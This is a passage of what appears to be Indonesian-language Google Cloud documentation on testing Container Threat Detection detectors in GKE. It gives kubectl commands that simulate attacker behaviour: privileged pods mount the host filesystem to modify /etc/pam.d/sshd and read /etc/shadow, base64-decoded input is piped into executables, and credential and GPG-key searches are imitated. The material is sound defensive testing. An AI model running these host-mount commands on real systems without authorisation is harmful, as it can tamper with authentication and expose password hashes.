Menguji Container Threat Detection

Halaman ini menjelaskan cara memverifikasi bahwa Container Threat Detection berfungsi dengan sengaja memicu detektor dan memeriksa temuan. Untuk melihat temuan Container Threat Detection, Container Threat Detection harus diaktifkan di setelan Layanan Security Command Center.

Sebelum memulai

Untuk mendeteksi potensi ancaman terhadap container Anda, Anda harus memastikan bahwa cluster Anda menggunakan Google Kubernetes Engine (GKE) versi yang didukung. Untuk informasi selengkapnya, lihat Menggunakan versi GKE yang didukung. Jika Anda ingin menguji deteksi ancaman di ARM, Anda memerlukan cluster dengan node pool yang berisi instance ARM. Untuk mengetahui informasi selengkapnya, lihat Workload Arm di GKE.

Memeriksa status detektor

Anda hanya dapat menguji detektor yang diaktifkan. Sebelum menguji detektor, pastikan detektor diaktifkan.

Konsol

Jika layanan Container Threat Detection diaktifkan, Anda dapat menetapkan status pengaktifan setiap modulnya.

  1. Di konsol Google Cloud , buka halaman Modules untuk Container Threat Detection.

    Buka Modul

  2. Pilih organisasi atau project Anda.
  3. Di tab Modules, di kolom Status, pilih status modul saat ini yang ingin Anda aktifkan atau nonaktifkan, lalu pilih salah satu opsi berikut:
    • Aktifkan: Aktifkan modul.
    • Nonaktifkan: Nonaktifkan modul.

gcloud

Perintah gcloud scc manage services describe mendapatkan status layanan atau modul Security Command Center.

Sebelum menggunakan salah satu data perintah di bawah, lakukan penggantian berikut:

  • RESOURCE_TYPE: jenis resource yang akan didapatkan (organization, folder, atau project)
  • RESOURCE_ID: ID numerik untuk organisasi, folder, atau project yang akan didapatkan. Untuk project, Anda juga dapat menggunakan ID project alfanumerik.

Jalankan perintah gcloud scc manage services describe:

Linux, macOS, atau Cloud Shell

gcloud scc manage services describe container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID

Windows (PowerShell)

gcloud scc manage services describe container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID

Windows (cmd.exe)

gcloud scc manage services describe container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID

Anda akan menerima respons yang mirip dengan berikut. Agar lebih ringkas, contoh ini menunjukkan subset dari semua modul Container Threat Detection.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

Metode RESOURCE_TYPE.locations.securityCenterServices.get Security Command Center Management API mendapatkan status layanan atau modul Security Command Center.

Sebelum menggunakan salah satu data permintaan, lakukan penggantian berikut:

  • RESOURCE_TYPE: jenis resource yang akan didapatkan (organizations, folders, atau projects).
  • QUOTA_PROJECT: project ID yang akan digunakan untuk penagihan dan pelacakan kuota.
  • RESOURCE_ID: ID numerik untuk organisasi, folder, atau project yang akan didapatkan. Untuk project, Anda juga dapat menggunakan ID project alfanumerik.

Metode HTTP dan URL:

GET https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection

Untuk mengirim permintaan Anda, perluas salah satu opsi berikut:

Anda akan menerima respons yang mirip dengan berikut. Agar lebih ringkas, contoh ini menunjukkan subset dari semua modul Container Threat Detection.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

Mengaktifkan detektor

Jika detektor dinonaktifkan, dan Anda ingin mengujinya, Anda harus mengaktifkannya terlebih dahulu.

Beberapa detektor dinonaktifkan secara default. Untuk mengetahui detailnya, lihat Detektor yang dinonaktifkan.

Konsol

Jika layanan Container Threat Detection diaktifkan, Anda dapat menetapkan status pengaktifan setiap modulnya.

  1. Di konsol Google Cloud , buka halaman Modules untuk Container Threat Detection.

    Buka Modul

  2. Pilih organisasi atau project Anda.
  3. Di tab Modules, di kolom Status, pilih status modul saat ini yang ingin Anda aktifkan atau nonaktifkan, lalu pilih salah satu opsi berikut:
    • Aktifkan: Aktifkan modul.
    • Nonaktifkan: Nonaktifkan modul.

gcloud

Perintah gcloud scc manage services update memperbarui status layanan atau modul Security Command Center.

Sebelum menggunakan salah satu data perintah di bawah, lakukan penggantian berikut:

  • RESOURCE_TYPE: jenis resource yang akan diupdate (organization, folder, atau project).
  • RESOURCE_ID: ID numerik untuk organisasi, folder, atau project yang akan diupdate. Untuk project, Anda juga dapat menggunakan ID project alfanumerik.
  • MODULE_NAME: nama modul yang akan diaktifkan atau dinonaktifkan. Untuk mengetahui nilai yang valid, lihat Detektor Container Threat Detection.

Simpan konten berikut ini dalam file yang bernama request.json:

{
  "MODULE_NAME": {
    "intendedEnablementState": "ENABLED"
  }
}

Jalankan perintah gcloud scc manage services update:

Linux, macOS, atau Cloud Shell

gcloud scc manage services update container-threat-detection \
    --RESOURCE_TYPE=RESOURCE_ID \
    --module-config-file=request.json

Windows (PowerShell)

gcloud scc manage services update container-threat-detection `
    --RESOURCE_TYPE=RESOURCE_ID `
    --module-config-file=request.json

Windows (cmd.exe)

gcloud scc manage services update container-threat-detection ^
    --RESOURCE_TYPE=RESOURCE_ID ^
    --module-config-file=request.json

Anda akan menerima respons yang mirip dengan berikut. Agar lebih ringkas, contoh ini menunjukkan subset dari semua modul Container Threat Detection.

effectiveEnablementState: ENABLED
intendedEnablementState: ENABLED
modules:
  ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION:
    effectiveEnablementState: ENABLED
  ACCESS_SENSITIVE_FILES_ON_NODES:
    effectiveEnablementState: DISABLED
  ADDED_BINARY_EXECUTED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_LIBRARY_LOADED:
    effectiveEnablementState: DISABLED
    intendedEnablementState: DISABLED
  ADDED_MALICIOUS_BINARY_EXECUTED:
    effectiveEnablementState: ENABLED
  ADDED_MALICIOUS_LIBRARY_LOADED:
    effectiveEnablementState: ENABLED
name: organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION
updateTime: '2025-11-12T03:22:07Z'

REST

Metode RESOURCE_TYPE.locations.securityCenterServices.patch Security Command Center Management API memperbarui status layanan atau modul Security Command Center.

Sebelum menggunakan salah satu data permintaan, lakukan penggantian berikut:

  • RESOURCE_TYPE: jenis resource yang akan diperbarui (organizations, folders, atau projects).
  • QUOTA_PROJECT: project ID yang akan digunakan untuk penagihan dan pelacakan kuota.
  • RESOURCE_ID: ID numerik untuk organisasi, folder, atau project yang akan diupdate. Untuk project, Anda juga dapat menggunakan ID project alfanumerik.
  • MODULE_NAME: nama modul yang akan diaktifkan atau dinonaktifkan. Untuk mengetahui nilai yang valid, lihat Detektor Container Threat Detection.

Metode HTTP dan URL:

PATCH https://securitycentermanagement.googleapis.com/v1/RESOURCE_TYPE/RESOURCE_ID/locations/global/securityCenterServices/container-threat-detection?updateMask=modules

Meminta isi JSON:

{
  "modules": {
    "MODULE_NAME": {
      "intendedEnablementState": "ENABLED"
    }
  }
}

Untuk mengirim permintaan Anda, perluas salah satu opsi berikut:

Anda akan menerima respons yang mirip dengan berikut. Agar lebih ringkas, contoh ini menunjukkan subset dari semua modul Container Threat Detection.

{
  "effectiveEnablementState": "ENABLED",
  "intendedEnablementState": "ENABLED",
  "modules": {
    "ABUSE_SUDO_FOR_PRIVILEGE_ESCALATION": {
      "effectiveEnablementState": "ENABLED"
    },
    "ACCESS_SENSITIVE_FILES_ON_NODES": {
      "effectiveEnablementState": "DISABLED"
    },
    "ADDED_BINARY_EXECUTED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_LIBRARY_LOADED": {
      "effectiveEnablementState": "DISABLED",
      "intendedEnablementState": "DISABLED"
    },
    "ADDED_MALICIOUS_BINARY_EXECUTED": {
      "effectiveEnablementState": "ENABLED"
    },
    "ADDED_MALICIOUS_LIBRARY_LOADED": {
      "effectiveEnablementState": "ENABLED"
    }
  },
  "name": "organizations/732774606193/locations/global/securityCenterServices/CONTAINER_THREAT_DETECTION",
  "updateTime": "2025-11-12T03:22:07Z"
}

Menetapkan variabel lingkungan

Untuk menguji detektor, gunakan konsol Google Cloud dan Cloud Shell. Anda dapat menetapkan variabel lingkungan di Cloud Shell untuk mempermudah menjalankan perintah. Variabel berikut digunakan untuk menguji semua detektor Container Threat Detection.

  1. Buka Google Cloud console.

    Buka Google Cloud konsol

  2. Pilih project yang berisi penampung yang ingin Anda gunakan untuk pengujian.

  3. Klik Activate Cloud Shell.

  4. Di Cloud Shell, tetapkan variabel lingkungan.

    1. Zona tempat cluster Anda berada:

      export ZONE=CLUSTER_ZONE
      
    2. Project tempat penampung Anda berada:

      export PROJECT=PROJECT_ID
      
    3. Nama cluster Anda:

      export CLUSTER_NAME=CLUSTER_NAME
      

Variabel telah ditetapkan. Bagian berikut menyertakan petunjuk untuk menguji detektor Deteksi Ancaman Kontainer.

Eksekusi Biner Ditambahkan

Untuk memicu temuan Eksekusi Biner yang Ditambahkan, letakkan biner di penampung Anda dan jalankan. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /bin/ls ke lokasi lain, lalu mengeksekusinya. Eksekusi biner tidak terduga karena salinan biner bukan bagian dari image container asli, meskipun image tersebut ada di Ubuntu 24.04, dan kontainer seharusnya tidak dapat diubah.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Lepaskan biner dan jalankan:

    • Node x86:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      
    • Node ARM:

      tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
          --restart=Never \
          --rm=true -i \
          --image marketplace.gcr.io/google/ubuntu2404:latest \
          --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
          {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
          "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
          "value": "arm64" } ]}}' \
          "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
      

Prosedur pengujian ini membuat temuan Eksekusi Biner yang Ditambahkan yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Untuk pengurangan bising, saat Anda pertama kali membuat penampung, Container Threat Detection akan memfilter temuan Eksekusi Biner yang Ditambahkan untuk sementara. Untuk melihat semua temuan Eksekusi Biner yang Ditambahkan saat menyiapkan penampung, tambahkan awalan ktd-test ke nama penampung atau nama Pod Anda, seperti dalam contoh.

Library yang Ditambahkan Dimuat

Untuk memicu temuan Library yang Ditambahkan Dimuat, letakkan library di penampung Anda, lalu muat. Contoh ini men-deploy image Ubuntu 24.04 terbaru, menyalin /lib/x86_64-linux-gnu/libc.so.6 ke lokasi lain, lalu memuatnya menggunakan ld. Library yang dimuat tidak terduga karena salinan library bukan bagian dari image penampung asli, meskipun image tersebut ada di Ubuntu 24.04, dan penampung seharusnya tidak dapat diubah.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Lepaskan library dan gunakan ld untuk memuatnya:

    • Node x86:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
      
    • Node ARM:

      tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
      

Prosedur pengujian ini membuat temuan Pustaka yang Ditambahkan Dimuat yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Untuk pengurangan bising, saat Anda pertama kali membuat penampung, Container Threat Detection akan memfilter sementara temuan Pustaka yang Ditambahkan Dimuat. Untuk melihat semua temuan Pustaka yang Ditambahkan Dimuat saat menyiapkan penampung, tambahkan awalan ktd-test ke nama penampung atau nama Pod, seperti dalam contoh.

Koleksi: Modifikasi Pam.d (Pratinjau)

Untuk memicu deteksi modifikasi pam.d, ubah salah satu file terkait PAM host. Contoh ini men-deploy image Ubuntu 24.04 terbaru, memasang sistem file root host ke dalam container, lalu mengubah /etc/pam.d/sshd.

Detektor ini adalah detektor pemantauan file dan memiliki persyaratan versi GKE tertentu.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Menjalankan program biner yang mengubah salah satu file terkait PAM di host.

    • Node x86:

      tag="ktd-test-pamd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Node ARM:

      tag="ktd-test-pamd-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/pam.d/sshd"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Prosedur pengujian ini memicu temuan modifikasi pam.d yang dapat Anda lihat di Security Command Center dan, jika Anda telah mengonfigurasi Logging untuk Container Threat Detection, di Cloud Logging. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Command and Control: Piped Encoded Code Execution

Untuk memicu temuan Command and Control: Piped Encoded Code Execution, program biner yang mampu mengeksekusi kode seperti python harus memiliki perintah dekode base64 yang disalurkan ke eksekusinya. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Menggunakan echo untuk menyalurkan string yang dienkode yang mencetak Hello World dan ke file yang dapat dieksekusi python. Perilaku ini ditandai sebagai mencurigakan karena dapat mengindikasikan upaya untuk menjalankan skrip berbahaya oleh penyerang.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Mendekode dan menyalurkan string berenkode base64 ke python:

    • Node x86:

      tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
      
    • Node ARM:

      tag="ktd-test-piped-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/python; echo \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d | /tmp/python; sleep 10"
      

Prosedur pengujian ini membuat temuan Command and Control: Piped Encoded Code Execution yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Command and Control: Piped Encoded Download

Untuk memicu temuan Command and Control: Piped Encoded Download, file yang dapat dieksekusi seperti curl harus disalurkan ke perintah dekode base64. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Skrip ini menyalin /bin/echo dan mengganti namanya menjadi curl, lalu menyalurkan panggilan curl simulasi ke base64. Perilaku ini ditandai sebagai mencurigakan karena dapat mengindikasikan upaya untuk mendownload dan mendekode skrip berbahaya untuk digunakan oleh penyerang di kemudian hari.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan dan teruskan panggilan curl ke base64 -d:

    • Node x86:

      tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
      
    • Node ARM:

      tag="ktd-test-piped-dl-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/echo /tmp/curl; /tmp/curl \"cHJpbnQoJ0hlbGxvIFdvcmxkJyk=\" | base64 -d; sleep 10"
      

Prosedur pengujian ini membuat temuan Command and Control: Piped Encoded Download yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Command and Control: Alat Steganografi Terdeteksi

Untuk memicu temuan Command and Control: Steganography Tool Detected (Pratinjau), biner dengan kemampuan manipulasi file yang konsisten dengan alat steganografi harus dieksekusi dalam penampung. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Perilaku ini menyalin /bin/ls dan mengganti namanya menjadi steghide (atau alat steganografi lain seperti stegano). Perilaku ini ditandai sebagai mencurigakan karena dapat mengindikasikan upaya untuk menyiapkan penampung untuk menyembunyikan atau mengekstrak data, yang berpotensi untuk tujuan berbahaya.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner alat steganografi seperti steghide:

    • Node x86:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      
    • Node ARM:

      tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/steghide; /tmp/steghide"
      

Prosedur pengujian ini membuat temuan Command and Control: Steganography Tool Detected yang dapat Anda lihat di Security Command Center dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Akses Kredensial: Mengakses File Sensitif di Node (Pratinjau)

Untuk memicu deteksi File Sensitif yang Diakses, baca file /etc/shadow host. Contoh ini men-deploy image Ubuntu 24.04 terbaru, memasang sistem file root host ke dalam container, lalu membaca /etc/shadow menggunakan cat.

Detektor ini adalah detektor pemantauan file dan memiliki persyaratan versi GKE tertentu.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner yang membaca file /etc/shadow host.

    • Node x86:

      tag="ktd-test-sfa-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Node ARM:

      tag="ktd-test-sfa-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["/bin/cat", "/host/etc/shadow"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

Prosedur pengujian ini memicu temuan File Sensitif Diakses yang dapat Anda lihat di Security Command Center dan, jika Anda telah mengonfigurasi Logging untuk Container Threat Detection, di Cloud Logging. Temuan di Cloud Logging hanya dapat dilihat jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center di tingkat organisasi.

Akses Kredensial: Menemukan Google Cloud Kredensial

Untuk memicu temuan Credential Access: Find Google Cloud Credentials, program biner yang dapat menelusuri konten file perlu dieksekusi dalam container. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Contoh ini menyalin /bin/ls dan mengganti namanya menjadi grep. Program biner yang diganti namanya kemudian dieksekusi dengan argumen yang menentukan pola penelusuran yang menunjukkan bentuk kredensial Google Cloud . Tindakan ini ditandai sebagai mencurigakan karena meniru perilaku yang diamati saat mencoba menemukan kredensial Google Cloud .

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner alat penelusuran seperti find dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      
    • Node ARM:

      tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
      

Prosedur pengujian ini membuat temuan Credential Access: Find Google Cloud Credentials yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Akses Kredensial: Pengintaian Kunci GPG

Untuk memicu temuan Credential Access: GPG Key Reconnaissance, program biner yang dapat menelusuri konten file perlu dieksekusi dalam penampung. Contoh ini menggunakan image Ubuntu 24.04 terbaru. Contoh ini menyalin /bin/ls dan mengganti namanya menjadi find (atau utilitas penelusuran lain yang sesuai seperti grep). Program biner yang diganti namanya kemudian dieksekusi dengan argumen yang menentukan pola penelusuran yang menunjukkan kunci pribadi atau sandi, atau pola konten yang menunjukkan sandi atau rahasia. Tindakan ini ditandai sebagai mencurigakan karena meniru perilaku yang diamati saat mencoba menemukan kunci keamanan GPG.

  1. Tetapkan variabel lingkungan.

  2. Gunakan Cloud Shell untuk mengakses bidang kontrol cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Jalankan biner alat penelusuran seperti find dengan argumen yang sesuai:

    • Node x86:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
      
    • Node ARM:

      tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/find; /tmp/find secring.gpg"
      

Prosedur pengujian ini membuat temuan Credential Access: GPG Key Reconnaissance yang dapat Anda lihat di Security Command Center, dan di Cloud Logging jika Anda telah mengonfigurasi Logging untuk Container Threat Detection. Melihat temuan di Cloud Logging hanya tersedia jika Anda mengaktifkan paket Premium atau Enterprise Security Command Center.

Akses Kredensial: Menelusuri Kunci Pribadi atau Sandi

